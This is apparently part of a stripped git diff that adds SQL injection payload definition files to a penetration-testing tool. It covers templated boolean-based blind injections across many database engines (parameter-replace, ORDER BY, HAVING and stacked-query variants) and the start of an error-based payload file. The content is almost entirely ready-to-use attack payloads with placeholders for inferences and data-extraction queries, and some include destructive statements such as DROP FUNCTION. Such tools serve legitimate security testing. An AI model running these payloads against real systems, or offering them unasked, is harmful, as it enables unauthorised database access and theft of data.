+ + + + MySQL boolean-based blind - Parameter replace (MAKE_SET - original value) + 1 + 5 + 1 + 1,2,3 + 3 + MAKE_SET([INFERENCE],[ORIGVALUE]) + + MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE]) + + + MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE]) + +
+ MySQL +
+ + + + MySQL boolean-based blind - Parameter replace (ELT) + 1 + 4 + 1 + 1,2,3 + 3 + ELT([INFERENCE],[RANDNUM]) + + ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + ELT([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+ + + + MySQL boolean-based blind - Parameter replace (ELT - original value) + 1 + 5 + 1 + 1,2,3 + 3 + ELT([INFERENCE],[ORIGVALUE]) + + ELT([RANDNUM]=[RANDNUM],[ORIGVALUE]) + + + ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE]) + +
+ MySQL +
+ + + + MySQL boolean-based blind - Parameter replace (bool*int) + 1 + 4 + 1 + 1,2,3 + 3 + ([INFERENCE])*[RANDNUM] + + ([RANDNUM]=[RANDNUM])*[RANDNUM1] + + + ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + +
+ MySQL +
+ + + + MySQL boolean-based blind - Parameter replace (bool*int - original value) + 1 + 5 + 1 + 1,2,3 + 3 + ([INFERENCE])*[ORIGVALUE] + + ([RANDNUM]=[RANDNUM])*[ORIGVALUE] + + + ([RANDNUM]=[RANDNUM1])*[ORIGVALUE] + +
+ MySQL +
+ + + + PostgreSQL boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+ + + + PostgreSQL boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+ + + + + PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES) + 1 + 5 + 1 + 1,2,3 + 3 + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + +
+ PostgreSQL +
+ + + + + PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value) + 1 + 5 + 1 + 1,2,3 + 3 + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+ + + + Oracle boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+ + + + Informix boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + +
+ Informix +
+ + + + Informix boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + +
+ Informix +
+ + + + Microsoft Access boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + IIF([INFERENCE],[RANDNUM],1/0) + + IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0) + + + IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0) + +
+ Microsoft Access +
+ + + + Microsoft Access boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + IIF([INFERENCE],[ORIGVALUE],1/0) + + IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) + + + IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0) + +
+ Microsoft Access +
+ + + + + Boolean-based blind - Parameter replace (DUAL) + 1 + 2 + 1 + 1,2,3 + 3 + (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + + + (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + + + + + Boolean-based blind - Parameter replace (DUAL - original value) + 1 + 3 + 1 + 1,2,3 + 3 + (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + + + (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) + + + + + + + Boolean-based blind - Parameter replace (CASE) + 1 + 2 + 1 + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END) + + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END) + + + (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END) + + + + + Boolean-based blind - Parameter replace (CASE - original value) + 1 + 3 + 1 + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + + + (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) + + + + + + + MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause + 1 + 2 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + +
+ MySQL + >= 5.0 +
+ + + + MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + +
+ MySQL + >= 5.0 +
+ + + + MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause + 1 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + +
+ MySQL + < 5.0 +
+ + + + MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 4 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) + +
+ MySQL + < 5.0 +
+ + + + PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause + 1 + 2 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+ + + + + PostgreSQL boolean-based blind - ORDER BY clause (original value) + 1 + 4 + 1 + 3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+ + + + + + PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES) + 1 + 5 + 1 + + 3 + 1 + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1) + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause + 1 + 3 + 1 + 3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value) + 1 + 4 + 1 + 3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle boolean-based blind - ORDER BY, GROUP BY clause + 1 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+ + + + Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 4 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) + +
+ Oracle +
+ + + + Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause + 1 + 4 + 1 + 2,3 + 1 + ,IIF([INFERENCE],1,1/0) + + ,IIF([RANDNUM]=[RANDNUM],1,1/0) + + + ,IIF([RANDNUM]=[RANDNUM1],1,1/0) + +
+ Microsoft Access +
+ + + + Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 5 + 1 + 2,3 + 1 + ,IIF([INFERENCE],[ORIGVALUE],1/0) + + ,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) + + + ,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0) + +
+ Microsoft Access +
+ + + + SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause + 1 + 4 + 1 + 2,3 + 1 + ,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END) + + ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END) + + + ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END) + +
+ SAP MaxDB +
+ + + + SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value) + 1 + 5 + 1 + 2,3 + 1 + ,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + + ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + + + ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) + +
+ SAP MaxDB +
+ + + + IBM DB2 boolean-based blind - ORDER BY clause + 1 + 4 + 1 + 3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+ + + + IBM DB2 boolean-based blind - ORDER BY clause (original value) + 1 + 5 + 1 + 3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+ + + + + HAVING boolean-based blind - WHERE, GROUP BY clause + 1 + 3 + 1 + 1,2 + 1 + HAVING [INFERENCE] + + HAVING [RANDNUM]=[RANDNUM] + + + HAVING [RANDNUM]=[RANDNUM1] + + + + + + + MySQL >= 5.0 boolean-based blind - Stacked queries + 1 + 4 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + # + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + +
+ MySQL + >= 5.0 +
+ + + + MySQL < 5.0 boolean-based blind - Stacked queries + 1 + 5 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + # + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) + +
+ MySQL + < 5.0 +
+ + + + PostgreSQL boolean-based blind - Stacked queries + 1 + 3 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) + -- + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) + +
+ PostgreSQL +
+ + + + + PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES) + 1 + 5 + 1 + 1-8 + 1 + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 + + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1 + -- + + + ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1 + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF) + 1 + 3 + 1 + 1-8 + 1 + ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] + + ;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] + -- + + + ;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase boolean-based blind - Stacked queries + 1 + 4 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) + -- + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle boolean-based blind - Stacked queries + 1 + 4 + 1 + 1-8 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + -- + + + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL + +
+ Oracle +
+ + + + Microsoft Access boolean-based blind - Stacked queries + 1 + 5 + 1 + 1-8 + 1 + ;IIF([INFERENCE],1,1/0) + + ;IIF([RANDNUM]=[RANDNUM],1,1/0) + %16 + + + ;IIF([RANDNUM]=[RANDNUM1],1,1/0) + +
+ Microsoft Access +
+ + + + SAP MaxDB boolean-based blind - Stacked queries + 1 + 5 + 1 + 1-8 + 1 + ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL + + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL + -- + + + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL + +
+ SAP MaxDB +
+ + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml new file mode 100644 index 00000000000..3023df9fba8 --- /dev/null +++ b/data/xml/payloads/error_based.xml @@ -0,0 +1,1538 @@ + + + + + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 1 + 1,2,3,8,9 + 1 + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 3 + 1,2,3,8,9 + + 1 + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + 2 + 2 + 1 + 1,2,3,8,9 + 1 + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+ + + + MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) + 2 + 2 + 3 + 1,8,9 + 1 + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+ + + + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) + 2 + 4 + 1 + 1,2,3,8,9 + 1 + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) + 2 + 4 + 3 + 1,8,9 + 1 + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
